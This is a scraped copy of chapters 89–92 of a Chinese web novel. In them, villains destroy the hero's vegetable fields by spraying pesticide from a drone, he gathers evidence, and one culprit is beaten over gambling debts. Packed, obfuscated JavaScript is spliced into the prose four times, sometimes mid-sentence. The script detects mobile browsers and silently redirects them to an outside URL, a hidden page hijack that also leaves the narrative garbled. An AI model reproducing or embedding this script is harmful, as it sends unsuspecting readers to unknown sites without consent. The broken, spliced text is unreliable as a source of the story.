“听说他盖房子的钱都是借的？”莫栓压低声音，阴恻恻地说，“要是……把他那宝贝菜地毁了，你说那些借钱给他的人，会不会立马翻脸找上门？” “毁掉？！”胡亮一个激灵，酒醒了大半，“你疯了！忘了那条要命的青狼了？撞上它，不死也得残废！” “亮哥，你在外面混了几年，无人机总该知道吧？”莫栓凑近，声音压得更低，带着蛊惑，“现在有种无人机，专门用来给农田打药！我认识个县里的朋友，正好有这玩意儿……只要你……” 胡亮和几个心腹小弟脸色骤变：“栓子！这……这可是**！犯法的！要坐牢的！” “天知地知，你知我知！”莫栓嘴角勾起一抹冷笑，趴在胡亮耳边，用几乎听不见的声音飞快地嘀咕了几句。 胡亮的眼睛猛地瞪大，随即闪过一丝狠厉，喉结滚动了一下，重重地点了点头。他转向那群小弟，借着酒劲吼道：“哥几个！栓哥发话了！事成之后，一人一万块好处费！干不干？！” 包厢里静了一瞬，随即爆发出贪婪又凶狠的回应：“干！只要能弄死莫天扬那王八蛋，不给钱也干！” …… 连续几天的平安护送，让青木村的人气渐渐回暖，菜地周围又恢复了往日的喧闹。 随着回流的外出打工者增至三十多人，加上村里能帮忙的老人，莫天扬肩上的担子终于轻了些，不再像之前那样脚不沾地。 这天晚上，送走陈峰等人，莫天扬照例带着大青巡视菜地。回到院子时，地基工程处几盏昏黄的灯光在夜色中摇曳，五六米深的基坑像一张巨口，贪婪地吞噬着微弱的光线。四周静悄悄的，并无异常。简易房前，工人们还在洗漱闲聊，莫天扬没有打扰，只低声叮嘱了大青几句，便回到房间。 进入灵泉空间，他直奔新开辟的香瓜、西瓜种植区。刚靠近，一股清甜诱人的瓜香便钻入鼻腔！莫天扬心头一喜——才种下约莫一周，竟已开始成熟飘香！ 他随手摘下一个香瓜，指尖稍一用力，“咔嚓”一声，瓜身应声裂开。浓郁的、带着灵泉特有清冽的甜香瞬间弥漫开来！莫天扬脸上难掩激动。 一口咬下，脆嫩的瓜肉在舌尖爆开甘甜的汁液，几乎无需咀嚼便化作一道沁凉的甘泉滑入喉间。一股舒爽的凉意瞬间在四肢百骸流淌，白天的疲惫一扫而空！ 香瓜的成熟让莫天扬精神大振，这不仅是美味，更是源源不断的财富！他立刻投入了紧张的采摘…… 当莫天扬带着一身疲惫和收获的满足离开空间时，他鼻翼微动，眉头不自觉地蹙起——空气中，似乎飘荡着一丝若有若无的……农药味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055245|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 这气味在农村本不稀奇，但在几乎不使用农药的青木村，尤其在他这片标榜无公害的菜地周围，就显得格外突兀。或许是哪家买了农药准备用吧？莫天扬虽有一丝疑虑，但并未深想，只当是寻常。 然而，当清晨的闹钟将他唤醒，推开房门的一刹那——一股浓烈到刺鼻的农药味如同无形的铁锤，狠狠砸在他的感官上！ 莫天扬的心脏猛地一沉！那股不祥的预感瞬间化为冰冷的恐惧！ 他冲出房门，一眼就看到大青带着小狼崽远远地躲在菜地边缘，显得焦躁不安。见到主人出来，大青立刻飞奔而至，喉咙里发出压抑而急促的低吼，不断用头拱着莫天扬的腿，眼神里充满了焦急和警示，仿佛在拼命诉说着什么。 “走！去菜地！”莫天扬声音发紧。 越靠近菜地，那刺鼻的农药味就越发浓烈，几乎令人窒息。心中的恐惧感也攀升到了顶点！ 当菜地的景象完整地呈现在眼前时，莫天扬只觉得一股寒气从脚底直冲头顶，血液仿佛瞬间凝固！ 目光所及，一片惨烈！ 原本翠绿欲滴、生机勃勃的菜地，此刻像被一场无形的瘟疫席卷。大片大片的蔬菜以肉眼可见的速度枯萎、变黄！叶片耷拉卷曲，失去了所有光泽，如同被烈火灼烧过一般。死亡的气息在晨雾中弥漫。 “该死的！！”莫天扬目眦欲裂，昨晚那丝疑虑瞬间变成了滔天的怒火！不是别人家打药，是有人对他的菜地下了毒手！他猛地看向身边的大青，声音因愤怒而颤抖：“大青！昨晚有人进菜地？！你们没发现？！” 大青焦急地摇着头，喉咙里发出委屈的呜咽。它突然仰起头，对着灰蒙蒙的天空，发出一连串充满困惑和警示的低吼！ 莫天扬顺着它的目光看向天空，却只看到一片沉寂的灰色。天空？它想说什么？莫天扬心头疑云密布，一时难以理解大青这反常的举动。 强忍着刺鼻的气味和翻腾的怒火，莫天扬戴上口罩，踏入这片“死亡之地”。每一步都像踩在心上。他仔细查看，心也一点点沉入谷底。 院子外围，将近八十亩的菜地，超过三分之二已经染上了触目惊心的枯黄！只有靠近院子的那一小片区域，还顽强地保留着一抹残存的绿色，却也岌岌可危。视线转向远处的谷子地、黍子田，以及那片寄托了他无限希望的香瓜、西瓜田——同样未能幸免！超过一半的作物也遭受了这灭顶之灾，叶片卷曲发黑，果实萎蔫。 他踉跄着走出这片绝望的菜地，又冲进院子查看。院中自己精心照料的小片菜畦和池塘里的鱼蟹，暂时还未受影响。但这丝毫不能减轻他心中的剧痛和愤怒。 站在菜地边缘，莫天扬双拳紧握，指节发白，胸膛剧烈起伏。一个冰冷到极致的声音从他牙缝里挤出来，带着毁天灭地的怒火： “是——谁？！”莫天扬仰**吼。 第八十九章损失惨重 “天扬，这…这到底怎么回事？” 随着胡标、曹勇这些人到来，看着菜地的惨状，无不惊得目瞪口呆。昨夜离开时还生机勃勃的菜地，仅仅隔了一夜，竟变得如此凄惨。曹建华等几个女人更是忍不住，坐在田埂上低声啜泣起来。 “有人往地里打了百草枯之类的农药，外面这片地…基本完了。”莫天扬强压着心头的怒火，声音尽量平稳。他是主心骨，此刻绝不能乱。 “畜生！真是畜生！干这种缺德事，天打雷劈！”曹勇双眼赤红，咬牙切齿地骂道。 胡标眼神闪烁，沉声道：“天扬，报警吧。” “报！必须报！”莫天扬斩钉截铁。 太阳升高，消息像风一样刮遍了村子。随着外来游客增多，青木村那片闻名的高品质蔬菜地惨遭毒手、大片枯黄的照片和视频迅速引爆了网络。 愤怒的声浪瞬间席卷网络。这段时间，莫天扬在近乎荒芜的沙地上种出顶级无公害蔬菜的奇迹早已传遍全网，无数人对他推崇备至。如今这心血被人恶意毁坏，怎能不叫人愤慨？ “青木村菜地被毁”的词条飞速冲上热搜榜首。莫天扬第一时间报了警，然而执法人员却拖到十点多才姗姗来迟，比报警晚了足足四五个小时。这迟来的“重视”，更是在网民怒火上浇了一桶油。 “天扬，地里没发现脚印，”陈宏利凑近莫天扬，脸色难看，“执法队在一千多米外找到了百草枯的空瓶子。他们推测…那帮孙子用了无人机。” 莫天扬深吸一口气，仿佛早有预料：“他们是不是还说，没监控，破案难度很大？” “你…你怎么知道？” “他们来了几次，每一次青木村让他们颜面扫地，再加上安云飞那层关系，他们巴不得看我倒霉。指望他们？”莫天扬冷笑一声，摇了摇头。 “一群**饭不干人事的东西！”曹克雄恨恨地啐了一口。 莫天扬没接话，转而问道：“宏利，他们取证了吗？” “取了。” “那…把外面这片地翻了吧。”莫天扬的声音带着一丝不易察觉的疲惫。 这话让众人脸色骤变。他们的生计都系在这片菜地上啊！ “天扬，别啊！”胡标急道，“还有不少看着没事呢！多浇点水，兴许…兴许还能缓过来？” 就在众人焦急劝说时，所有人的目光突然被远处吸引——七八辆轿车正沿着村道疾驰而来。 “是王哥他们！”有人认出了车。 莫天扬眼神一凝，压下翻涌的情绪：“我去看看。” 王传林、李红军、张学涛等人面色铁青地在菜地转了一圈，回到临时会客室时，每个人脸上都笼罩着一层寒霜。 “天扬，查到是谁干的了吗？”王传林声音低沉，眼中寒光闪烁，“不管是谁，老子非弄死他不可！” 莫天扬苦笑着摇头：“王哥，这两个多月，我得罪的人太多了。别说村里，光是执法部门，恨我入骨的就不在少数。” “你们村谁有无人机？”李红军追问。 “不可能有。”莫天扬斩钉截铁，“村里的地都荒着，剩下多是老人孩子，谁舍得花那个钱？” 李红军思忖片刻：“我托人打听了，能喷洒农药的无人机，最便宜的也得几万块。沛川这地方虽大，有这种设备的人不多。应该不是本村人干的。” “那会是谁？”张学涛皱眉接口，“天扬在外面认识的人有限，谁会下这种狠手？难道是那些蔬菜种植大户？” “不像。”王传林否定道，“现在是采摘旺季，你那边出货量根本影响不到他们。” “那到底是谁？莫栓？”有人试探着问。 莫天扬心头一凛，莫栓的阴狠他领教过，确实嫌疑不小。但无凭无据，他终究没开口。 “王哥，”陈宏利插话道，“天扬打算把外面的菜地全翻了。” “全翻了？！”王传林几人愕然，“不是还有一部分看着没事？损失太大了！” “一夜之间能让蔬菜枯黄到这种程度，用的药毒性可想而知。”莫天扬语气坚决，“与其留人话柄，不如彻底翻掉，一了百了。” 张学涛深吸一口气：“你们说的都有道理。我倒有个折中的办法：王哥，你在沛川找人过来化验。确定有农药残留的翻掉，没问题的留下。怎么样？” “行！”王传林立刻应下，“这事交给我。” “宏利，”莫天扬转向陈宏利，“你先把南边那片翻了。那边基本没救了。” 当陈宏利驾驶着拖拉机驶入菜地，轰鸣的铁犁将挂满果实的西红柿、黄瓜、茄子、豆角无情地粉碎、深埋，围观的村民和游客无不扼腕叹息。 谁都知道，这几十亩菜地，是莫天扬的心血，更是青木村复苏的希望。更何况，不少人都尝过这里蔬菜的滋味，那鲜甜的口感，远非市面上的普通蔬菜可比。 当天中午，王传林找来的人开始检测。莫天扬亲自跟进，只要检测出丝毫农药残留，他立刻标记出来。 到了下午，院外偌大的菜地上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“眼下这情况，大家应该能理解……” “既然叫回来了，就留下做事。”莫天扬打断道，语气不容置疑，“二十多亩地也需要人手。正好，趁这机会把灌溉系统彻底建成永久性的。” 他转向陈宏利，“宏利，明天你去趟县里，多买些苜蓿种子。外面翻过的地，现在撒种还能长。苜蓿能肥地，涵养水分，还能固沙。” “要不……种点小白菜？”胡标提议，“天冷前还能收一茬，多少弥补点损失。” “标叔，”莫天扬摇头，“他们药量下得太狠，地里残留不少。种出来的东西，咱敢卖，别人敢吃吗？不如种苜蓿，稳妥。” “是这么个理儿……”胡标叹了口气。 “宏利，”莫天扬继续布置，“你再联系联系那些养殖场。今年咱们提前育肥。如果可能，等天冷翻地的时候，就开始往地里撒肥。” 第九十章挑衅 青木村的高品质蔬菜几乎遭受灭顶之灾，大片菜地被翻耕入土，莫天扬也暂停了对外销售。曾经热闹的村子仿佛被抽走了精气神，瞬间跌回往日的沉寂。 “勇叔，怎么样了？” “苜蓿种子都撒下去了。” 曹勇应道。顿了顿又说，“天扬，这两天大伙儿合计了一下。让克雄、宏利这些年轻人，在菜地和院子边上搭几间简易房，轮班和你一起守夜看地。” “这怎么行？”莫天扬立刻拒绝，“我一个人够了，还有大青呢。” 曹勇看向一同进来的胡标、陈峰、莫洪。胡标深吸一口气，开口：“天扬，你的心思我们都懂。大伙儿跟着你虽然才干了两个多月，可这两个月活得有奔头！菜地毁了，你还肯留下所有人干活，大家心里都记着这份情。年轻人多，轮着来，不累。” 胡标的话让莫天扬神色一暗。他明白，这幸存的二十多亩地，是五十多号人留下的唯一希望。 “……好吧。”莫天扬最终点头，“标叔，您看着分组。夜里守着的，算加班费。” “这哪能要……” “噼里啪啦——！” 胡标的话被一阵突兀而密集的鞭炮声硬生生打断。所有人都愣住了。 “标叔，村里有人办喜事？”莫天扬皱眉。 “没有啊！”胡标一脸困惑，“这地方你还不清楚？姑娘往外嫁难，媳妇娶进来更难！” 众人快步走出会客室。目光所及，所有人瞳孔骤然收缩——不远处的荒地上，十几个人正肆无忌惮地燃放鞭炮，烟雾缭绕。 “是莫栓！还有胡亮！”陈峰咬牙切齿地吐出名字。 人群的脸色瞬间铁青。菜地被毁，村里谁不在心里咒骂那些黑手？此刻莫栓、胡亮带着一群混混公然跑来放鞭炮，那赤裸裸的挑衅和幸灾乐祸，让胡标几个恨得牙根痒痒。 莫栓、胡亮显然也看到了他们，更加嚣张地朝这边比划，嬉笑哄闹。陈峰等年长的汉子都气得攥紧了拳头。 莫天扬的目光死死锁定在莫栓、胡亮身后那群欢呼雀跃的小混混身上。一个念头如闪电般划过脑海——凌飞说过，上次拦路抢菜**的，也是十来个混混！ 当时他并未深想，更没怀疑到胡亮头上。但此刻，一种强烈的预感攫住了他：抢菜，毁地，十有**就是眼前这群人干的！ 想到这里，莫天扬心底的怒火反而奇异地平息了，取而代之的是冰封般的冷静。只是那深邃的眼眸里，弥漫开难以掩饰的凛冽寒意。 “天扬，他们太……”曹勇气得声音发颤。 莫天扬眼中的寒意瞬间敛去，只余一片淡漠：“跳梁小丑罢了。”说完，竟转身径直朝自己房间走去。 曹勇几人面面相觑，一时反应不过来。莫栓如此挑衅，他们怒火中烧，莫天扬却冷静得可怕。 就在莫天扬推开房门的一刹那，一个陌生却又似乎在哪里听过的低沉嗓音从远处传来： “天扬！” 莫天扬身形一顿，缓缓转身。荒地的边缘，不知何时立着三道笔挺的身影。 三个三十多岁的中年男人，穿着洗得发白的旧衣裤，面容饱经风霜，刻满沧桑。然而，他们锐利如鹰的眼神、山岳般沉稳的站姿，无声地透着一股历经淬炼的不凡气质。 “海哥，来了。”莫天扬迎了上去。 简陋的会客室里，莫天扬给略显局促的王海龙三人倒了杯热茶，目光落在王海龙身旁的两人身上。 “天扬，这是我两个过命的兄弟，李国强，**辉。”王海龙介绍完，看着莫天扬，欲言又止，“你这边的事……我们路上听说了。你看我们……” 莫天扬打量着三人脸上深刻的皱纹和眼中的风霜，仿佛看到了曾经的自己。他嘴角牵起一丝淡笑：“怎么？怕我开不出工资？” 王海龙三人一怔。李国强深吸一口气，率先开口：“天扬，你的为人海哥都跟我们讲了。你能拿出三万块救海哥老娘，就冲这份义气，我们信你！管吃管住，一个月给一千，我们也跟你干！” 莫天扬摆摆手：“菜地是毁了大半，但事儿还不少，够你们忙活的。” 窗外忽然传来一阵刺耳的哄笑声。莫天扬抬眼看去，正对上莫栓那充满挑衅意味的得意手势。王海龙三人的眼神瞬间锐利如刀。 他们虽不认识莫栓、胡亮，但青木村的遭遇一路听得揪心。眼下这帮人竟跑来放炮庆祝？赤裸裸的挑衅！ “天扬，外面那几个……”王海龙目光扫过那群还在哄笑的人影。 “一群地痞。”莫天扬声音低沉，“海哥，还记得我提过运菜车被抢那事吗？我怀疑抢菜、毁地，都跟他们脱不了干系。” “那还不简单，报警抓人！”**辉沉声道。 莫天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057634|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬摇头：“现在只是猜测，没证据。你看他们那得意忘形的样儿，中午八成要去县里喝酒庆祝。村里没像样的地方，莫栓手里有钱……”他看向王海龙，“我想请你们这几天，跟紧他们。” 王海龙三人都是特殊行伍出身，立刻明白了莫天扬的意图。三人交换了一个眼神，齐齐点头。 “只要是他们干的，尾巴总能揪出来！”王海龙保证。 “都是些滚刀肉，别把自己搭进去。”莫天扬提醒。 “放心，有分寸。”李国强接口。 “行。”莫天扬拿出手机，“海哥，我先转三千给你。” “别！我还欠着你三万呢！” “那是给阿姨救命的钱，两码事。”莫天扬语气不容置疑，“你们替我办事，不能兜里空空。带强哥、辉哥去县城买身利索衣服，理个发。” 王海龙不再推辞，坦率道：“不瞒你说，他俩来时就带了点盘缠。这钱我先拿着，回头……” “不用回头，这是差旅费。”莫天扬打断他。 三人不再多言，起身默契地站到窗边两侧，目光如电，锁定窗外那群人。刹那间，莫天扬清晰地感觉到三人气质骤变——不再是风尘仆仆的打工者，而是三头蓄势待发、锁定猎物的鹰隼。 莫栓一伙耀武扬威了十几分钟，才哄笑着扬长而去。他们做梦也想不到，自己每个人的面孔、特征，已被窗后三双锐利的眼睛牢牢刻印在脑海。 见混混走远，王海龙转向莫天扬：“天扬，我们的行李放你这儿。走了。” “一切小心。” 王海龙三人匆匆离去。胡标几人带着疑惑走进来：“天扬，那三位是……？” “就是我跟你们提过的新工人，有两个是外地的。”莫天扬神色平静，“他们得去县里办电话卡，置办点东西。” 陈峰眉头紧锁：“眼下这光景……还雇人？” 莫天扬淡淡一笑：“是我早先就答应了的。人家千里迢迢过来，就揣着点路费。现在让人空手回去，这种事，我做不出来。” 莫天扬这话让胡标、曹勇他们沉默下来，农村人虽说是穷，可他们骨子里却有着不能抹除的老实、淳朴，让人家过来是为了更好发展，现在出了问题让人家离开，这种事情他们还真的干不出来。 “那他们？” “以后送菜的事情就交给他们三个。” 第九十一章让他们狗咬狗 近八十亩菜地化为乌有，只剩二十多亩幸存。这变故反而让莫天扬从繁重的日常管理中抽身出来，将全部专注力倾注到了酿酒上。每天清晨，他只需将灵泉空间里摘好的蔬菜、香瓜悄悄取出，便算完成了一项“任务”。 “天扬，地都光秃秃的了，怎么还要浇？”胡标看着运转的喷灌系统，不解地问。 “标叔，这都几天了，空气里还能闻见药味呢。”莫天扬解释道，“咱们这儿蒸发大，浇水能把渗进土里的药性往上带，让它散得快些。再说，苜蓿种子也得水才能发芽。水是自家的，无非多费点电钱。” “那灌溉水渠啥时候修？” 莫天扬目光投向远处的青木山，思忖片刻：“托王哥他们找专业人规划了，就这几天。咱们先备料。” 胡标环顾四周空旷的菜地，眼神里满是萧索。几天前这时候，这里人头攒动，热闹非凡。如今已近九点，除了来上工的村民，连个外人的影子都见不着。 “标叔，怎么了？”莫天扬留意到他的异样。 “唉，”胡标苦笑，“前些日子还嫌人多吵得慌，这冷不丁没人了，心里头……空落落的。” 莫天扬拍拍他的肩：“放心，只要咱们干下去，将来人只会比从前更多。到时候，怕您又该喊累喽。” 胡标摇摇头，声音低沉：“这些年，眼睁睁看着沙赶着人走，地荒了，人散了……今年跟你种菜，虽说累点，可心里头……踏实。” 他顿了顿，看向莫天扬，“天扬，执法那边……还没信儿？” 莫天扬摇头，目光下意识瞥了眼自己房间的方向。王海龙三人跟着莫栓、胡亮已有三天，不知进展如何…… “别指望了，他们压根儿没查。”胡标恨恨道。 “这群吃干饭的！” “或许……也有难处吧。”莫天扬语气平静。 胡标无奈地叹气，抬眼瞧见莫啸正从屋里出来，径直走向酿酒房。“天扬，老爷子又去看酒了。那玩意儿我不懂，你快去盯着点。” “行，我这就去。” 四十多平米的临时酒坊里，排着六个齐胸高的粗陶大瓮，瓮底都塞着软木塞。莫天扬进去时，莫啸正弯腰翻动着其中一个瓮里的高粱。 “爷爷，我来。”莫天扬忙上前。 莫啸点点头，让开位置：“天扬，酒这玩意儿，看着没魂儿，可那滋味儿，全凭酿酒人的心性。想酿出好酒，就得把这酿酒的每一道工序，都揉进你的骨子里。你刚上手，尤其得记住这点，不然再好的方子也是白瞎。” “嗯，您多指点。”莫天扬应着，专注地开始操作。 经过灵泉水滋养，莫天扬的身手早已今非昔比，看得莫啸也不禁感慨：“年轻就是好啊。” 莫天扬咧嘴一笑：“爷爷，您年轻那会儿也这样吧？” “哼，”莫啸撇撇嘴，“我像你这么大时，比你强得多！就你这身板儿，搁过去，顶多在酒坊打个下手！” “爷爷，这酒什么时候能够出炉。” 莫啸深吸口气，“屠苏是极品古酒，需要九蒸九酿，好酒需要沉淀，至少的需要一个月。” 爷孙俩有一搭没一搭地聊着，气氛轻松。可一旦涉及酿酒工序，莫啸便判若两人，神情严肃得如同当年教莫天扬掌勺，稍有差池，照着屁股就是一脚。 一个多钟头下来，莫天扬汗流浃背，屁股也没少挨踹。可当他从酒坊出来时，脸上却带着满足的笑意。 回屋简单冲洗了一下，莫天扬望向窗外。曹慧、陈峰他们已在张罗午饭。他没急着出去，而是从柜子里取出上次淘来的两部古籍。那本记载古法种植的书他已烂熟于心，此刻目光落在了另一本上——那部密密麻麻记录着无数药草、药性的典籍。酿酒所需的草药，正是他下一步要钻研的关键。 曾经能考入南开，莫天扬的智商本就超群。灵泉水的改造，更让他的身体与感知远超常人。 过去他对中医药草兴趣寥寥，但为了重现屠苏酒和传说中的“凝露”，所需药草成了绕不开的坎。即使兴趣缺缺，他也必须一头扎进去。 药草的性味归经艰涩难记，可一旦投入，莫天扬惊人的专注力便显现出来，很快便沉浸其中。 午饭过后，他匆匆回房，继续沉浸在药草的海洋里，反复研读药性、药效…… 不知过了多久，房门被推开，莫天扬才猛地回神。推门进来的是陈宏利。 “几点了？” “四点多。怎么了？” “我以为该吃晚饭了……”莫天扬揉了揉眉心。 陈宏利摇头：“天扬，外面有三个人找你。” 莫天扬微微一怔，随即起身快步走出房门。烈日下，王海龙三人静静站着。新换的衣服虽不再破旧，但一眼望去，价值绝不会超过两百块。与前几次截然不同的是，他们身上那股锐利如刀的气势消失了，身姿不再挺拔如松，眼神也变得平和内敛，站在那里，与寻常赶路的村民毫无二致。 “宏利，给你介绍一下，”莫天扬指向三人，“王海龙，**辉，李国强。他们就是我之前提过，请来帮忙的。” 陈宏利忙和三人打了招呼，疑惑地看向莫天扬：“天扬，他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057635|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三位……” “宿舍还有空位吧？你去安排一下。再联系下涛哥，让他送三台空调过来。” “天扬，真不用……”王海龙开口。 “这里昼夜温差大，必须装。”莫天扬语气不容商量，“这事你们别管。来，进屋说。” 陈宏利去联系张学涛。莫天扬将三人让进屋里，倒了热茶。三人喝了一口，王海龙深吸一口气，切入正题： “天扬，让你猜中了。就是那伙人。主谋是莫栓，主意是他出的。” “胡亮呢？他带人干的？” “拦路抢菜、毁地这两桩事，胡亮没直接参与。他只是莫栓手里的棋子。具体动手的是跟着他的那几个小混混。不过……”王海龙顿了顿，“莫栓给了胡亮三万块让他办事，他只分给混混们一万块。连用的无人机，都是莫栓借的。” 说完，王海龙将一部崭新的手机轻轻放在桌上。“他们的谈话，我们都录下来了。” “这群畜生！”莫天扬眼中寒光暴射，一股凛冽的怒意瞬间充斥房间，“死有余辜！” 王海龙三人心中俱是一凛！在他们印象里，莫天扬待人宽厚仁义，此刻这近乎实质的杀意，让他们感到陌生。 察觉到三人异样，莫天扬深吸一口气，压下翻腾的怒火，脸上露出一丝疲惫的苦笑：“抱歉，我失态了。” “人之常情。”**辉沉声道。 “海哥，”莫天扬看向手机，“有这个证据交上去，他们……能受到惩罚吗？” 王海龙点头：“莫栓和那几个直接动手的，牢饭是吃定了。胡亮没直接参与，最多拘留一阵子。不过……” “海哥，有话直说。” “我们建议……过几天再交证据。” “为什么？” “这两天莫栓拉着胡亮他们赌钱，像是在做局。让他们先狗咬狗，不是更好？”李国强接口道。 莫天扬目光闪动，片刻后，嘴角勾起一丝冰冷的弧度：“好。窝点在哪儿？到时候……” 王海龙三人会意点头：“这种人，就该让他们尝尝‘害人终害己’的滋味。” “海哥，先把视频都转给我。” “天扬，这手机是用那三千块买的，我们用不上。” 莫天扬拿出自己的手机递过去。王海龙三人目光一凝：“荣耀卫星电话？” “朋友送的，你们留着用。”莫天扬不容拒绝。 王海龙迅速将视频文件传输完毕。莫天扬收起手机，站起身，脸上终于露出一丝真切的暖意：“你们可帮了我大忙！等着，我去弄几个菜，晚上好好喝两杯！” 第九十二章以德报怨 王海龙、**辉、李国强三人因出身行伍，话不多。但在当晚的酒桌上，三人的海量和豪爽却折服了所有人。加上同是苦出身，一顿酒的功夫，三人便融入了莫天扬的圈子。 晚饭后，众人坐在院中纳凉闲聊。莫啸瞥了眼莫天扬：“天扬，跟我来一趟，有话跟你说。” 莫天扬带着疑惑跟爷爷进了屋。莫啸打开电视，瞥了眼窗外，目光落回孙子身上： “天扬，那三个人的底细，你清楚吗？” 莫天扬微怔，点头道：“爷爷，他们都是特种兵。王海龙就是咱们县的人，我偶然帮过他。” 对爷爷无需隐瞒，莫天扬将如何结识王海龙，以及请他们过来的缘由和盘托出。 莫啸点点头：“我还怕你小子懵懂。他们仨身上……都带着煞气。这样的人，若能驾驭，对你将来大有裨益；若驾驭不住，就是三颗要命的**。” 莫天扬瞳孔微缩：“爷爷，您怎么感觉到的？我怎么一点察觉没有？” “你？”莫啸哼了一声，“杀过几只鸡就想感知杀气？别忘了，你爷爷我可是从尸山血海里爬出来的！” 爷爷的过往，莫天扬当然知晓。“您那是真刀**打鬼子，我明白。可海哥他们生在和平年代……” “你懂什么？”莫啸打断他，“和平年代也有看不见的硝烟！他们是特殊部队的尖刀，执行的都是见不得光的生死任务。” “所以……” “所以，他们身上的煞气，正是身经百战、精锐中的精锐的证明！我的意思，你该懂了。” 莫天扬深吸一口气，郑重点头：“爷爷，我明白了。” “明白就好。”莫啸语气严肃，“他们虽退了伍，可把最好的年华都献给了国家。你不能亏待他们。更关键的是，绝不能泄露他们的身份！” “爷爷，”莫天扬忍不住问，“您总说参加过上千场战斗，当年就没混个一官半职？” 莫啸撇撇嘴：“是老子不稀罕！”说完，一把抓过遥控器，调到最爱的戏曲频道，不再言语。 莫天扬无奈摇头。从小到大，问了无数次，答案永远是这句，他早习惯了。 有了王海龙三人加入，局面大不相同。三人样样拿手，效率极高，一下子将莫天扬彻底解放出来。胡标、曹勇等人看在眼里，既惊讶又佩服。 这天，陈宏利急匆匆闯进莫天扬房间，打断了他对药草的研究。 “天扬，不好了！” “怎么了？” “胡亮……回来了！” 莫天扬心头一凛。昨天，他刚通过王传林将所有证据送到了沛川执法部门。早上王传林还来电话，说昨夜那个赌窝被端了。按道理，胡亮此刻该在局子里才对！难道是安云飞又在背后搞鬼？ “回来就回来，慌什么？” “是被人抬回来的！”陈宏利喘着气，“两条腿都打断了！说是欠了外面六万块赌债，债主堵在他家呢！标叔、振南叔他们都赶过去了！” 莫天扬一愣。王海龙他们说过，莫栓设局引胡亮他们去赌。他特意等了几日，就是想看他们狗咬狗……可没想到会是这种结果？ 见莫天扬沉默，陈宏利急道：“天扬，胡亮不是个东西，可他爹妈……胡睿大伯老两口，老实了一辈子啊！我爹他们都过去了，让我赶紧来告诉你一声！” 莫天扬眼神闪烁。胡睿是胡标的亲大哥，老两口本分了一生，没少**亮这混账拖累。胡亮固然可恨，可胡睿老两口…… “走！过去看看！”莫天扬当机立断。那些堵门的显然是放赌的狠角色，他担心胡睿老两口吃亏。冲着胡标这层关系，他也不能坐视不理。 一处五间土房的院子，房子虽显破旧，院子却收拾得干干净净，中央还开辟了一片生机勃勃的菜地。 此刻，院内外已挤满了村民。两间房的窗户破了大洞，玻璃碎片散落一地。胡亮蜷缩在地上，痛苦地哀嚎着。他年迈的父母——胡睿老两口，颤巍巍地躲在胡标、陈锋、曹勇几人的身后。站在最前面的胡振南、曹克雄、莫红兵紧握拳头，脸上写满了愤怒。 与他们形成鲜明对比的，是对面七八个纹身遍布、目露凶光的壮汉，人人手持棍棒。 “老东西，赶紧还钱！不然弄死这小瘪三！”一个壮汉厉声喝道，话音未落，棍棒已重重砸在胡亮身上，引发一声凄厉的惨叫。 这惨叫如同刀子扎在胡睿夫妻心上，两人脸庞痛苦地扭曲着。胡标见状，深吸一口气，绕过挡在前面的胡振南三人，站了出来。 “胡亮怎么可能欠你们那么多钱？”胡标质问道。 一个壮汉扬了扬手里的一叠纸，“白纸黑字的欠条！他亲手从我这儿拿走了六万块！看你们家穷，利息都没算狠，不然十万都打不住！少废话，拿钱，不然他死！” 胡标皱眉看向地上的胡亮：“亮子，你真跟他们拿了六万？” 胡亮涕泪横流，望向二叔：“二叔…我只拿了三万…剩下三万是彪子他们拿的啊…” “彪子是谁？” “就是前几天总跟着我的那几个…” “听见没？”壮汉不耐烦地打断，“钱是他经手，欠条是他签的！他爱给谁我们不管，我们只认他！还钱！” 胡标等人眼前一黑，难以置信地看向胡亮，见他点头承认，众人无不摇头叹息，心中一片冰凉。 “大哥，你手里还有多少？”胡标转向胡睿。 “哪还有钱啊…”胡睿声音发颤，“别说我们，他那五个姐姐的家底都让他掏空了！” “胡亮！彪子他们人呢？”胡标追问。 “昨天在赌场全栽了！”一个壮汉冷冷接话，“那几个都欠着一屁股债！听说还犯了事，毁了别人的菜地…妈的，要不是赌场被抄了，我们也不至于急着上门！” “胡亮！你这个畜生！”曹克雄猛地怒吼起来，“天扬的菜地是你们毁的？！” 胡标等人瞬间如遭雷击，脸色煞白。他们来之前特意让陈宏利去找莫天扬，就是想请他来帮胡睿家一把。万没 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“老二……”胡睿夫妻绝望地看着胡标，眼中的光瞬间黯淡，一片死灰。 